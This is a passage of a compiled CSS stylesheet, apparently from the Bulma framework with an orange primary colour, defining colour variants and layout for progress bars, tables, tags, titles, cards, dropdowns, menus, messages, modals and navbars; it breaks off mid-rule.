.progress.is-white::-ms-fill {\n background-color: white; }\n .progress.is-black::-webkit-progress-value {\n background-color: #0a0a0a; }\n .progress.is-black::-moz-progress-bar {\n background-color: #0a0a0a; }\n .progress.is-black::-ms-fill {\n background-color: #0a0a0a; }\n .progress.is-light::-webkit-progress-value {\n background-color: whitesmoke; }\n .progress.is-light::-moz-progress-bar {\n background-color: whitesmoke; }\n .progress.is-light::-ms-fill {\n background-color: whitesmoke; }\n .progress.is-dark::-webkit-progress-value {\n background-color: #363636; }\n .progress.is-dark::-moz-progress-bar {\n background-color: #363636; }\n .progress.is-dark::-ms-fill {\n background-color: #363636; }\n .progress.is-primary::-webkit-progress-value {\n background-color: #ff4300; }\n .progress.is-primary::-moz-progress-bar {\n background-color: #ff4300; }\n .progress.is-primary::-ms-fill {\n background-color: #ff4300; }\n .progress.is-link::-webkit-progress-value {\n background-color: #3273dc; }\n .progress.is-link::-moz-progress-bar {\n background-color: #3273dc; }\n .progress.is-link::-ms-fill {\n background-color: #3273dc; }\n .progress.is-info::-webkit-progress-value {\n background-color: #209cee; }\n .progress.is-info::-moz-progress-bar {\n background-color: #209cee; }\n .progress.is-info::-ms-fill {\n background-color: #209cee; }\n .progress.is-success::-webkit-progress-value {\n background-color: #23d160; }\n .progress.is-success::-moz-progress-bar {\n background-color: #23d160; }\n .progress.is-success::-ms-fill {\n background-color: #23d160; }\n .progress.is-warning::-webkit-progress-value {\n background-color: #ffdd57; }\n .progress.is-warning::-moz-progress-bar {\n background-color: #ffdd57; }\n .progress.is-warning::-ms-fill {\n background-color: #ffdd57; }\n .progress.is-danger::-webkit-progress-value {\n background-color: #ff3860; }\n .progress.is-danger::-moz-progress-bar {\n background-color: #ff3860; }\n .progress.is-danger::-ms-fill {\n background-color: #ff3860; }\n .progress.is-small {\n height: 0.75rem; }\n .progress.is-medium {\n height: 1.25rem; }\n .progress.is-large {\n height: 1.5rem; }\n\n.table {\n background-color: white;\n color: #363636; }\n .table td,\n .table th {\n border: 1px solid #dbdbdb;\n border-width: 0 0 1px;\n padding: 0.5em 0.75em;\n vertical-align: top; }\n .table td.is-white,\n .table th.is-white {\n background-color: white;\n border-color: white;\n color: #0a0a0a; }\n .table td.is-black,\n .table th.is-black {\n background-color: #0a0a0a;\n border-color: #0a0a0a;\n color: white; }\n .table td.is-light,\n .table th.is-light {\n background-color: whitesmoke;\n border-color: whitesmoke;\n color: #363636; }\n .table td.is-dark,\n .table th.is-dark {\n background-color: #363636;\n border-color: #363636;\n color: whitesmoke; }\n .table td.is-primary,\n .table th.is-primary {\n background-color: #ff4300;\n border-color: #ff4300;\n color: #fff; }\n .table td.is-link,\n .table th.is-link {\n background-color: #3273dc;\n border-color: #3273dc;\n color: #fff; }\n .table td.is-info,\n .table th.is-info {\n background-color: #209cee;\n border-color: #209cee;\n color: #fff; }\n .table td.is-success,\n .table th.is-success {\n background-color: #23d160;\n border-color: #23d160;\n color: #fff; }\n .table td.is-warning,\n .table th.is-warning {\n background-color: #ffdd57;\n border-color: #ffdd57;\n color: rgba(0, 0, 0, 0.7); }\n .table td.is-danger,\n .table th.is-danger {\n background-color: #ff3860;\n border-color: #ff3860;\n color: #fff; }\n .table td.is-narrow,\n .table th.is-narrow {\n white-space: nowrap;\n width: 1%; }\n .table td.is-selected,\n .table th.is-selected {\n background-color: #ff4300;\n color: #fff; }\n .table td.is-selected a,\n .table td.is-selected strong,\n .table th.is-selected a,\n .table th.is-selected strong {\n color: currentColor; }\n .table th {\n color: #363636;\n text-align: left; }\n .table tr.is-selected {\n background-color: #ff4300;\n color: #fff; }\n .table tr.is-selected a,\n .table tr.is-selected strong {\n color: currentColor; }\n .table tr.is-selected td,\n .table tr.is-selected th {\n border-color: #fff;\n color: currentColor; }\n .table thead td,\n .table thead th {\n border-width: 0 0 2px;\n color: #363636; }\n .table tfoot td,\n .table tfoot th {\n border-width: 2px 0 0;\n color: #363636; }\n .table tbody tr:last-child td,\n .table tbody tr:last-child th {\n border-bottom-width: 0; }\n .table.is-bordered td,\n .table.is-bordered th {\n border-width: 1px; }\n .table.is-bordered tr:last-child td,\n .table.is-bordered tr:last-child th {\n border-bottom-width: 1px; }\n .table.is-fullwidth {\n width: 100%; }\n .table.is-hoverable tbody tr:not(.is-selected):hover {\n background-color: #fafafa; }\n .table.is-hoverable.is-striped tbody tr:not(.is-selected):hover {\n background-color: whitesmoke; }\n .table.is-narrow td,\n .table.is-narrow th {\n padding: 0.25em 0.5em; }\n .table.is-striped tbody tr:not(.is-selected):nth-child(even) {\n background-color: #fafafa; }\n\n.table-container {\n -webkit-overflow-scrolling: touch;\n overflow: auto;\n overflow-y: hidden;\n max-width: 100%; }\n\n.tags {\n align-items: center;\n display: flex;\n flex-wrap: wrap;\n justify-content: flex-start; }\n .tags .tag {\n margin-bottom: 0.5rem; }\n .tags .tag:not(:last-child) {\n margin-right: 0.5rem; }\n .tags:last-child {\n margin-bottom: -0.5rem; }\n .tags:not(:last-child) {\n margin-bottom: 1rem; }\n .tags.has-addons .tag {\n margin-right: 0; }\n .tags.has-addons .tag:not(:first-child) {\n border-bottom-left-radius: 0;\n border-top-left-radius: 0; }\n .tags.has-addons .tag:not(:last-child) {\n border-bottom-right-radius: 0;\n border-top-right-radius: 0; }\n .tags.is-centered {\n justify-content: center; }\n .tags.is-centered .tag {\n margin-right: 0.25rem;\n margin-left: 0.25rem; }\n .tags.is-right {\n justify-content: flex-end; }\n .tags.is-right .tag:not(:first-child) {\n margin-left: 0.5rem; }\n .tags.is-right .tag:not(:last-child) {\n margin-right: 0; }\n\n.tag:not(body) {\n align-items: center;\n background-color: whitesmoke;\n border-radius: 4px;\n color: #4a4a4a;\n display: inline-flex;\n font-size: 0.75rem;\n height: 2em;\n justify-content: center;\n line-height: 1.5;\n padding-left: 0.75em;\n padding-right: 0.75em;\n white-space: nowrap; }\n .tag:not(body) .delete {\n margin-left: 0.25rem;\n margin-right: -0.375rem; }\n .tag:not(body).is-white {\n background-color: white;\n color: #0a0a0a; }\n .tag:not(body).is-black {\n background-color: #0a0a0a;\n color: white; }\n .tag:not(body).is-light {\n background-color: whitesmoke;\n color: #363636; }\n .tag:not(body).is-dark {\n background-color: #363636;\n color: whitesmoke; }\n .tag:not(body).is-primary {\n background-color: #ff4300;\n color: #fff; }\n .tag:not(body).is-link {\n background-color: #3273dc;\n color: #fff; }\n .tag:not(body).is-info {\n background-color: #209cee;\n color: #fff; }\n .tag:not(body).is-success {\n background-color: #23d160;\n color: #fff; }\n .tag:not(body).is-warning {\n background-color: #ffdd57;\n color: rgba(0, 0, 0, 0.7); }\n .tag:not(body).is-danger {\n background-color: #ff3860;\n color: #fff; }\n .tag:not(body).is-medium {\n font-size: 1rem; }\n .tag:not(body).is-large {\n font-size: 1.25rem; }\n .tag:not(body) .icon:first-child:not(:last-child) {\n margin-left: -0.375em;\n margin-right: 0.1875em; }\n .tag:not(body) .icon:last-child:not(:first-child) {\n margin-left: 0.1875em;\n margin-right: -0.375em; }\n .tag:not(body) .icon:first-child:last-child {\n margin-left: -0.375em;\n margin-right: -0.375em; }\n .tag:not(body).is-delete {\n margin-left: 1px;\n padding: 0;\n position: relative;\n width: 2em; }\n .tag:not(body).is-delete::before, .tag:not(body).is-delete::after {\n background-color: currentColor;\n content: "";\n display: block;\n left: 50%;\n position: absolute;\n top: 50%;\n transform: translateX(-50%) translateY(-50%) rotate(45deg);\n transform-origin: center center; }\n .tag:not(body).is-delete::before {\n height: 1px;\n width: 50%; }\n .tag:not(body).is-delete::after {\n height: 50%;\n width: 1px; }\n .tag:not(body).is-delete:hover, .tag:not(body).is-delete:focus {\n background-color: #e8e8e8; }\n .tag:not(body).is-delete:active {\n background-color: #dbdbdb; }\n .tag:not(body).is-rounded {\n border-radius: 290486px; }\n\na.tag:hover {\n text-decoration: underline; }\n\n.title,\n.subtitle {\n word-break: break-word; }\n .title em,\n .title span,\n .subtitle em,\n .subtitle span {\n font-weight: inherit; }\n .title sub,\n .subtitle sub {\n font-size: 0.75em; }\n .title sup,\n .subtitle sup {\n font-size: 0.75em; }\n .title .tag,\n .subtitle .tag {\n vertical-align: middle; }\n\n.title {\n color: #363636;\n font-size: 2rem;\n font-weight: 600;\n line-height: 1.125; }\n .title strong {\n color: inherit;\n font-weight: inherit; }\n .title + .highlight {\n margin-top: -0.75rem; }\n .title:not(.is-spaced) + .subtitle {\n margin-top: -1.25rem; }\n .title.is-1 {\n font-size: 3rem; }\n .title.is-2 {\n font-size: 2.5rem; }\n .title.is-3 {\n font-size: 2rem; }\n .title.is-4 {\n font-size: 1.5rem; }\n .title.is-5 {\n font-size: 1.25rem; }\n .title.is-6 {\n font-size: 1rem; }\n .title.is-7 {\n font-size: 0.75rem; }\n\n.subtitle {\n color: #4a4a4a;\n font-size: 1.25rem;\n font-weight: 400;\n line-height: 1.25; }\n .subtitle strong {\n color: #363636;\n font-weight: 600; }\n .subtitle:not(.is-spaced) + .title {\n margin-top: -1.25rem; }\n .subtitle.is-1 {\n font-size: 3rem; }\n .subtitle.is-2 {\n font-size: 2.5rem; }\n .subtitle.is-3 {\n font-size: 2rem; }\n .subtitle.is-4 {\n font-size: 1.5rem; }\n .subtitle.is-5 {\n font-size: 1.25rem; }\n .subtitle.is-6 {\n font-size: 1rem; }\n .subtitle.is-7 {\n font-size: 0.75rem; }\n\n.heading {\n display: block;\n font-size: 11px;\n letter-spacing: 1px;\n margin-bottom: 5px;\n text-transform: uppercase; }\n\n.highlight {\n font-weight: 400;\n max-width: 100%;\n overflow: hidden;\n padding: 0; }\n .highlight pre {\n overflow: auto;\n max-width: 100%; }\n\n.number {\n align-items: center;\n background-color: whitesmoke;\n border-radius: 290486px;\n display: inline-flex;\n font-size: 1.25rem;\n height: 2em;\n justify-content: center;\n margin-right: 1.5rem;\n min-width: 2.5em;\n padding: 0.25rem 0.5rem;\n text-align: center;\n vertical-align: top; }\n\n.breadcrumb {\n font-size: 1rem;\n white-space: nowrap; }\n .breadcrumb a {\n align-items: center;\n color: #3273dc;\n display: flex;\n justify-content: center;\n padding: 0 0.75em; }\n .breadcrumb a:hover {\n color: #363636; }\n .breadcrumb li {\n align-items: center;\n display: flex; }\n .breadcrumb li:first-child a {\n padding-left: 0; }\n .breadcrumb li.is-active a {\n color: #363636;\n cursor: default;\n pointer-events: none; }\n .breadcrumb li + li::before {\n color: #b5b5b5;\n content: "/"; }\n .breadcrumb ul,\n .breadcrumb ol {\n align-items: flex-start;\n display: flex;\n flex-wrap: wrap;\n justify-content: flex-start; }\n .breadcrumb .icon:first-child {\n margin-right: 0.5em; }\n .breadcrumb .icon:last-child {\n margin-left: 0.5em; }\n .breadcrumb.is-centered ol,\n .breadcrumb.is-centered ul {\n justify-content: center; }\n .breadcrumb.is-right ol,\n .breadcrumb.is-right ul {\n justify-content: flex-end; }\n .breadcrumb.is-small {\n font-size: 0.75rem; }\n .breadcrumb.is-medium {\n font-size: 1.25rem; }\n .breadcrumb.is-large {\n font-size: 1.5rem; }\n .breadcrumb.has-arrow-separator li + li::before {\n content: "\\2192"; }\n .breadcrumb.has-bullet-separator li + li::before {\n content: "\\2022"; }\n .breadcrumb.has-dot-separator li + li::before {\n content: "\\B7"; }\n .breadcrumb.has-succeeds-separator li + li::before {\n content: "\\227B"; }\n\n.card {\n background-color: white;\n box-shadow: 0 2px 3px rgba(10, 10, 10, 0.1), 0 0 0 1px rgba(10, 10, 10, 0.1);\n color: #4a4a4a;\n max-width: 100%;\n position: relative; }\n\n.card-header {\n background-color: none;\n align-items: stretch;\n box-shadow: 0 1px 2px rgba(10, 10, 10, 0.1);\n display: flex; }\n\n.card-header-title {\n align-items: center;\n color: #363636;\n display: flex;\n flex-grow: 1;\n font-weight: 700;\n padding: 0.75rem; }\n .card-header-title.is-centered {\n justify-content: center; }\n\n.card-header-icon {\n align-items: center;\n cursor: pointer;\n display: flex;\n justify-content: center;\n padding: 0.75rem; }\n\n.card-image {\n display: block;\n position: relative; }\n\n.card-content {\n background-color: none;\n padding: 1.5rem; }\n\n.card-footer {\n background-color: none;\n border-top: 1px solid #dbdbdb;\n align-items: stretch;\n display: flex; }\n\n.card-footer-item {\n align-items: center;\n display: flex;\n flex-basis: 0;\n flex-grow: 1;\n flex-shrink: 0;\n justify-content: center;\n padding: 0.75rem; }\n .card-footer-item:not(:last-child) {\n border-right: 1px solid #dbdbdb; }\n\n.card .media:not(:last-child) {\n margin-bottom: 0.75rem; }\n\n.dropdown {\n display: inline-flex;\n position: relative;\n vertical-align: top; }\n .dropdown.is-active .dropdown-menu, .dropdown.is-hoverable:hover .dropdown-menu {\n display: block; }\n .dropdown.is-right .dropdown-menu {\n left: auto;\n right: 0; }\n .dropdown.is-up .dropdown-menu {\n bottom: 100%;\n padding-bottom: 4px;\n padding-top: initial;\n top: auto; }\n\n.dropdown-menu {\n display: none;\n left: 0;\n min-width: 12rem;\n padding-top: 4px;\n position: absolute;\n top: 100%;\n z-index: 20; }\n\n.dropdown-content {\n background-color: white;\n border-radius: 4px;\n box-shadow: 0 2px 3px rgba(10, 10, 10, 0.1), 0 0 0 1px rgba(10, 10, 10, 0.1);\n padding-bottom: 0.5rem;\n padding-top: 0.5rem; }\n\n.dropdown-item {\n color: #4a4a4a;\n display: block;\n font-size: 0.875rem;\n line-height: 1.5;\n padding: 0.375rem 1rem;\n position: relative; }\n\na.dropdown-item {\n padding-right: 3rem;\n white-space: nowrap; }\n a.dropdown-item:hover {\n background-color: whitesmoke;\n color: #0a0a0a; }\n a.dropdown-item.is-active {\n background-color: #3273dc;\n color: #fff; }\n\n.dropdown-divider {\n background-color: #dbdbdb;\n border: none;\n display: block;\n height: 1px;\n margin: 0.5rem 0; }\n\n.level {\n align-items: center;\n justify-content: space-between; }\n .level code {\n border-radius: 4px; }\n .level img {\n display: inline-block;\n vertical-align: top; }\n .level.is-mobile {\n display: flex; }\n .level.is-mobile .level-left,\n .level.is-mobile .level-right {\n display: flex; }\n .level.is-mobile .level-left + .level-right {\n margin-top: 0; }\n .level.is-mobile .level-item {\n margin-right: 0.75rem; }\n .level.is-mobile .level-item:not(:last-child) {\n margin-bottom: 0; }\n .level.is-mobile .level-item:not(.is-narrow) {\n flex-grow: 1; }\n @media screen and (min-width: 769px), print {\n .level {\n display: flex; }\n .level > .level-item:not(.is-narrow) {\n flex-grow: 1; } }\n\n.level-item {\n align-items: center;\n display: flex;\n flex-basis: auto;\n flex-grow: 0;\n flex-shrink: 0;\n justify-content: center; }\n .level-item .title,\n .level-item .subtitle {\n margin-bottom: 0; }\n @media screen and (max-width: 768px) {\n .level-item:not(:last-child) {\n margin-bottom: 0.75rem; } }\n\n.level-left,\n.level-right {\n flex-basis: auto;\n flex-grow: 0;\n flex-shrink: 0; }\n .level-left .level-item.is-flexible,\n .level-right .level-item.is-flexible {\n flex-grow: 1; }\n @media screen and (min-width: 769px), print {\n .level-left .level-item:not(:last-child),\n .level-right .level-item:not(:last-child) {\n margin-right: 0.75rem; } }\n\n.level-left {\n align-items: center;\n justify-content: flex-start; }\n @media screen and (max-width: 768px) {\n .level-left + .level-right {\n margin-top: 1.5rem; } }\n @media screen and (min-width: 769px), print {\n .level-left {\n display: flex; } }\n\n.level-right {\n align-items: center;\n justify-content: flex-end; }\n @media screen and (min-width: 769px), print {\n .level-right {\n display: flex; } }\n\n.media {\n align-items: flex-start;\n display: flex;\n text-align: left; }\n .media .content:not(:last-child) {\n margin-bottom: 0.75rem; }\n .media .media {\n border-top: 1px solid rgba(219, 219, 219, 0.5);\n display: flex;\n padding-top: 0.75rem; }\n .media .media .content:not(:last-child),\n .media .media .control:not(:last-child) {\n margin-bottom: 0.5rem; }\n .media .media .media {\n padding-top: 0.5rem; }\n .media .media .media + .media {\n margin-top: 0.5rem; }\n .media + .media {\n border-top: 1px solid rgba(219, 219, 219, 0.5);\n margin-top: 1rem;\n padding-top: 1rem; }\n .media.is-large + .media {\n margin-top: 1.5rem;\n padding-top: 1.5rem; }\n\n.media-left,\n.media-right {\n flex-basis: auto;\n flex-grow: 0;\n flex-shrink: 0; }\n\n.media-left {\n margin-right: 1rem; }\n\n.media-right {\n margin-left: 1rem; }\n\n.media-content {\n flex-basis: auto;\n flex-grow: 1;\n flex-shrink: 1;\n text-align: left; }\n\n.menu {\n font-size: 1rem; }\n .menu.is-small {\n font-size: 0.75rem; }\n .menu.is-medium {\n font-size: 1.25rem; }\n .menu.is-large {\n font-size: 1.5rem; }\n\n.menu-list {\n line-height: 1.25; }\n .menu-list a {\n border-radius: 2px;\n color: #4a4a4a;\n display: block;\n padding: 0.5em 0.75em; }\n .menu-list a:hover {\n background-color: whitesmoke;\n color: #363636; }\n .menu-list a.is-active {\n background-color: #3273dc;\n color: #fff; }\n .menu-list li ul {\n border-left: 1px solid #dbdbdb;\n margin: 0.75em;\n padding-left: 0.75em; }\n\n.menu-label {\n color: #7a7a7a;\n font-size: 0.75em;\n letter-spacing: 0.1em;\n text-transform: uppercase; }\n .menu-label:not(:first-child) {\n margin-top: 1em; }\n .menu-label:not(:last-child) {\n margin-bottom: 1em; }\n\n.message {\n background-color: whitesmoke;\n border-radius: 4px;\n font-size: 1rem; }\n .message strong {\n color: currentColor; }\n .message a:not(.button):not(.tag) {\n color: currentColor;\n text-decoration: underline; }\n .message.is-small {\n font-size: 0.75rem; }\n .message.is-medium {\n font-size: 1.25rem; }\n .message.is-large {\n font-size: 1.5rem; }\n .message.is-white {\n background-color: white; }\n .message.is-white .message-header {\n background-color: white;\n color: #0a0a0a; }\n .message.is-white .message-body {\n border-color: white;\n color: #4d4d4d; }\n .message.is-black {\n background-color: #fafafa; }\n .message.is-black .message-header {\n background-color: #0a0a0a;\n color: white; }\n .message.is-black .message-body {\n border-color: #0a0a0a;\n color: #090909; }\n .message.is-light {\n background-color: #fafafa; }\n .message.is-light .message-header {\n background-color: whitesmoke;\n color: #363636; }\n .message.is-light .message-body {\n border-color: whitesmoke;\n color: #505050; }\n .message.is-dark {\n background-color: #fafafa; }\n .message.is-dark .message-header {\n background-color: #363636;\n color: whitesmoke; }\n .message.is-dark .message-body {\n border-color: #363636;\n color: #2a2a2a; }\n .message.is-primary {\n background-color: #fff7f5; }\n .message.is-primary .message-header {\n background-color: #ff4300;\n color: #fff; }\n .message.is-primary .message-body {\n border-color: #ff4300;\n color: #952c06; }\n .message.is-link {\n background-color: #f6f9fe; }\n .message.is-link .message-header {\n background-color: #3273dc;\n color: #fff; }\n .message.is-link .message-body {\n border-color: #3273dc;\n color: #22509a; }\n .message.is-info {\n background-color: #f6fbfe; }\n .message.is-info .message-header {\n background-color: #209cee;\n color: #fff; }\n .message.is-info .message-body {\n border-color: #209cee;\n color: #12537e; }\n .message.is-success {\n background-color: #f6fef9; }\n .message.is-success .message-header {\n background-color: #23d160;\n color: #fff; }\n .message.is-success .message-body {\n border-color: #23d160;\n color: #0e301a; }\n .message.is-warning {\n background-color: #fffdf5; }\n .message.is-warning .message-header {\n background-color: #ffdd57;\n color: rgba(0, 0, 0, 0.7); }\n .message.is-warning .message-body {\n border-color: #ffdd57;\n color: #3b3108; }\n .message.is-danger {\n background-color: #fff5f7; }\n .message.is-danger .message-header {\n background-color: #ff3860;\n color: #fff; }\n .message.is-danger .message-body {\n border-color: #ff3860;\n color: #cd0930; }\n\n.message-header {\n align-items: center;\n background-color: #4a4a4a;\n border-radius: 4px 4px 0 0;\n color: #fff;\n display: flex;\n font-weight: 700;\n justify-content: space-between;\n line-height: 1.25;\n padding: 0.75em 1em;\n position: relative; }\n .message-header .delete {\n flex-grow: 0;\n flex-shrink: 0;\n margin-left: 0.75em; }\n .message-header + .message-body {\n border-width: 0;\n border-top-left-radius: 0;\n border-top-right-radius: 0; }\n\n.message-body {\n border-color: #dbdbdb;\n border-radius: 4px;\n border-style: solid;\n border-width: 0 0 0 4px;\n color: #4a4a4a;\n padding: 1.25em 1.5em; }\n .message-body code,\n .message-body pre {\n background-color: white; }\n .message-body pre code {\n background-color: transparent; }\n\n.modal {\n align-items: center;\n display: none;\n justify-content: center;\n overflow: hidden;\n position: fixed;\n z-index: 40; }\n .modal.is-active {\n display: flex; }\n\n.modal-background {\n background-color: rgba(10, 10, 10, 0.86); }\n\n.modal-content,\n.modal-card {\n margin: 0 20px;\n max-height: calc(100vh - 160px);\n overflow: auto;\n position: relative;\n width: 100%; }\n @media screen and (min-width: 769px), print {\n .modal-content,\n .modal-card {\n margin: 0 auto;\n max-height: calc(100vh - 40px);\n width: 640px; } }\n\n.modal-close {\n background: none;\n height: 40px;\n position: fixed;\n right: 20px;\n top: 20px;\n width: 40px; }\n\n.modal-card {\n display: flex;\n flex-direction: column;\n max-height: calc(100vh - 40px);\n overflow: hidden; }\n\n.modal-card-head,\n.modal-card-foot {\n align-items: center;\n background-color: whitesmoke;\n display: flex;\n flex-shrink: 0;\n justify-content: flex-start;\n padding: 20px;\n position: relative; }\n\n.modal-card-head {\n border-bottom: 1px solid #dbdbdb;\n border-top-left-radius: 6px;\n border-top-right-radius: 6px; }\n\n.modal-card-title {\n color: #363636;\n flex-grow: 1;\n flex-shrink: 0;\n font-size: 1.5rem;\n line-height: 1; }\n\n.modal-card-foot {\n border-bottom-left-radius: 6px;\n border-bottom-right-radius: 6px;\n border-top: 1px solid #dbdbdb; }\n .modal-card-foot .button:not(:last-child) {\n margin-right: 10px; }\n\n.modal-card-body {\n -webkit-overflow-scrolling: touch;\n background-color: white;\n flex-grow: 1;\n flex-shrink: 1;\n overflow: auto;\n padding: 20px; }\n\n.navbar {\n background-color: white;\n box-shadow: 0 2px 0 0 whitesmoke;\n min-height: 3.25rem;\n position: relative;\n z-index: 30; }\n .navbar.is-white {\n background-color: white;\n color: #0a0a0a; }\n .navbar.is-white .navbar-brand > .navbar-item,\n .navbar.is-white .navbar-brand .navbar-link {\n color: #0a0a0a; }\n .navbar.is-white .navbar-brand > a.navbar-item:hover, .navbar.is-white .navbar-brand > a.navbar-item.is-active,\n .navbar.is-white .navbar-brand .navbar-link:hover,\n .navbar.is-white .navbar-brand .navbar-link.is-active {\n background-color: #f2f2f2;\n color: #0a0a0a; }\n .navbar.is-white .navbar-brand .navbar-link::after {\n border-color: #0a0a0a; }\n @media screen and (min-width: 1088px) {\n .navbar.is-white .navbar-start > .navbar-item,\n .navbar.is-white .navbar-start .navbar-link,\n .navbar.is-white .navbar-end > .navbar-item,\n .navbar.is-white .navbar-end .navbar-link {\n color: #0a0a0a; }\n .navbar.is-white .navbar-start > a.navbar-item:hover, .navbar.is-white .navbar-start > a.navbar-item.is-active,\n .navbar.is-white .navbar-start .navbar-link:hover,\n .navbar.is-white .navbar-start .navbar-link.is-active,\n .navbar.is-white .navbar-end > a.navbar-item:hover,\n .navbar.is-white .navbar-end > a.navbar-item.is-active,\n .navbar.is-white .navbar-end .navbar-link:hover,\n .navbar.is-white .navbar-end .navbar-link.is-active {\n background-color: #f2f2f2;\n color: #0a0a0a; }\n .navbar.is-white .navbar-start .navbar-link::after,\n .navbar.is-white .navbar-end .navbar-link::after {\n border-color: #0a0a0a; }\n .navbar.is-white .navbar-item.has-dropdown:hover .navbar-link,\n .navbar.is-white .navbar-item.has-dropdown.is-active .navbar-link {\n background-color: #f2f2f2;\n color: #0a0a0a; }\n .navbar.is-white .navbar-dropdown a.navbar-item.is-active {\n background-color: white;\n color: #0a0a0a; } }\n .navbar.is-black {\n background-color: #0a0a0a;\n color: white; }\n .navbar.is-black .navbar-brand > .navbar-item,\n .navbar.is-black .navbar-brand .navbar-link {\n color: white; }\n .navbar.is-black .navbar-brand > a.navbar-item:hover, .navbar.is-black .navbar-brand > a.navbar-item.is-active,\n .navbar.is-black .navbar-brand .navbar-link:hover,\n .navbar.is-black .navbar-brand .navbar-link.is-active {\n background-color: black;\n color: white; }\n .navbar.is-black .navbar-brand .navbar-link::after {\n border-color: white; }\n @media screen and (min-width: 1088px) {\n .navbar.is-black .navbar-start > .navbar-item,\n .navbar.is-black .navbar-start .navbar-link,\n .navbar.is-black .navbar-end > .navbar-item,\n .navbar.is-black .navbar-end .navbar-link {\n color: white; }\n .navbar.is-black .navbar-start > a.navbar-item:hover, .navbar.is-black .navbar-start > a.navbar-item.is-active,\n .navbar.is-black .navbar-start .navbar-link:hover,\n .navbar.is-black .navbar-start .navbar-link.is-active,\n .navbar.is-black .navbar-end > a.navbar-item:hover,\n .navbar.is-black .navbar-end > a.navbar-item.is-active,\n .navbar.is-black .navbar-end .navbar-link:hover,\n .navbar.is-black .navbar-end .navbar-link.is-active {\n background-color: black;\n color: white; }\n .navbar.is-black .navbar-start .navbar-link::after,\n .navbar.is-black .navbar-end .navbar-link::after {\n border-color: white; }\n .navbar.is-black .navbar-item.has-dropdown:hover .navbar-link,\n .navbar.is-black .navbar-item.has-dropdown.is-active .navbar-link {\n background-color: black;\n color: white; }\n .navbar.is-black .navbar-dropdown a.navbar-item.is-active {\n background-color: #0a0a0a;\n color: white; } }\n .navbar.is-light {\n background-color: whitesmoke;\n color: #363636; }\n .navbar.is-light .navbar-brand > .navbar-item,\n .navbar.is-light .navbar-brand .navbar-link {\n color: #363636; }\n .navbar.is-light .navbar-brand > a.navbar-item:hover, .navbar.is-light .navbar-brand > a.navbar-item.is-active,\n .navbar.is-light .navbar-brand .navbar-link:hover,\n .navbar.is-light .navbar-brand .navbar-link.is-active {\n background-color: #e8e8e8;\n color: #363636; }\n .navbar.is-light .navbar-brand .navbar-link::after {\n border-color: #363636; }\n @media screen and (min-width: 1088px) {\n .navbar.is-light .navbar-start > .navbar-item,\n .navbar.is-light .navbar-start .navbar-link,\n .navbar.is-light .navbar-end > .navbar-item,\n .navbar.is-light .navbar-end .navbar-link {\n color: #363636; }\n .navbar.is-light .navbar-start > a.navbar-item:hover, .navbar.is-light .navbar-start > a.navbar-item.is-active,\n .navbar.is-light .navbar-start .navbar-link:hover,\n .navbar.is-light .navbar-start .navbar-link.is-active,\n .navbar.is-light .navbar-end > a.navbar-item:hover,\n .navbar.is-light .navbar-end > a.navbar-item.is-active,\n .navbar.is-light .navbar-end .navbar-link:hover,\n .navbar.is-light .navbar-end .navbar-link.is-active {\n background-color: #e8e8e8;\n color: #363636; }\n .navbar.is-light .navbar-start .navbar-link::after,\n .navbar.is-light .navbar-end .navbar-link::after {\n border-color: #363636; }\n .navbar.is-light .navbar-item.has-dropdown:hover .navbar-link,\n .navbar.is-light .navbar-item.has-dropdown.is-active .navbar-link {\n background-color: #e8e8e8;\n color: #363636; }\n .navbar.is-light .navbar-dropdown a.navbar-item.is-active {\n background-color: whitesmoke;\n color: #363636; } }\n .navbar.is-dark {\n background-color: #363636;\n color: whitesmoke; }\n .navbar.is-dark .navbar-brand > .navbar-item,\n .navbar.is-dark .navbar-brand .navbar-link {\n color: whitesmoke; }\n .navbar.is-dark .navbar-brand > a.navbar-item:hover, .navbar.is-dark .navbar-brand > a.navbar-item.is-active,\n .navbar.is-dark .navbar-brand .navbar-link:hover,\n .navbar.is-dark .navbar-brand .navbar-link.is-active {\n background-color: #292929;\n color: whitesmoke; }\n .navbar.is-dark .navbar-brand .navbar-link::after {\n border-color: whitesmoke; }\n @media screen and (min-width: 1088px) {\n .navbar.is-dark .navbar-start > .navbar-item,\n .navbar.is-dark .navbar-start .navbar-link,\n .navbar.is-dark .navbar-end > .navbar-item,\n .navbar.is-dark .navbar-end .navbar-link {\n color: whitesmoke; }\n .navbar.is-dark .navbar-start > a.navbar-item:hover, .navbar.is-dark .navbar-start > a.navbar-item.is-active,\n .navbar.is-dark .navbar-start .navbar-link:hover,\n .navbar.is-dark .navbar-start .navbar-link.is-active,\n .navbar.is-dark .navbar-end > a.navbar-item:hover,\n .navbar.is-dark .navbar-end > a.navbar-item.is-active,\n .navbar.is-dark .navbar-end .navbar-link:hover,\n .navbar.is-dark .navbar-end .navbar-link.is-active {\n background-color: #292929;\n color: whitesmoke; }\n .navbar.is-dark .navbar-start .navbar-link::after,\n .navbar.is-dark .navbar-end .navbar-link::after {\n border-color: whitesmoke; }\n .navbar.is-dark .navbar-item.has-dropdown:hover .navbar-link,\n .navbar.is-dark .navbar-item.has-dropdown.is-active .navbar-link {\n background-color: #292929;\n color: whitesmoke; }\n .navbar.is-dark .navbar-dropdown a.navbar-item.is-active {\n background-color: #363636;\n color: whitesmoke; } }\n .navbar.is-primary {\n background-color: #ff4300;\n color: #fff; }\n .navbar.is-primary .navbar-brand > .navbar-item,\n .navbar.is-primary .navbar-brand .navbar-link {\n color: #fff; }\n .navbar.is-primary .navbar-brand > a.navbar-item:hover, .navbar.is-primary .navbar-brand > a.navbar-item.is-active,\n .navbar.is-primary .navbar-brand .navbar-link:hover,\n .navbar.is-primary .navbar-brand .navbar-link.is-active {\n background-color: #e63c00;\n color: #fff; }\n .navbar.is-primary .navbar-brand .navbar-link::after {\n border-color: #fff; }\n @media screen and (min-width: 1088px) {\n .navbar.is-primary .navbar-start > .navbar-item,\n .navbar.is-primary .navbar-start .navbar-link,\n .navbar.is-primary .navbar-end > .navbar-item,\n .navbar.is-primary .navbar-end .navbar-link {\n color: #fff; }\n .navbar.is-primary .navbar-start > a.navbar-item:hover, .navbar.is-primary .navbar-start > a.navbar-item.is-active,\n .navbar.is-primary .navbar-start .navbar-link:hover,\n .navbar.is-primary .navbar-start .navbar-link.is-active,\n .navbar.is-primary .navbar-end > a.navbar-item:hover,\n .navbar.is-primary .navbar-end > a.navbar-item.is-active,\n .navbar.is-primary .navbar-end .navbar-link:hover,\n .navbar.is-primary .navbar-end .navbar-link.is-active {\n background-color: #e63c00;\n color: #fff; }\n .navbar.is-primary .navbar-start .navbar-link::after,\n .navbar.is-primary .navbar-end .navbar-link::after {\n border-color: #fff; }\n .navbar.is-primary .navbar-item.has-dropdown:hover 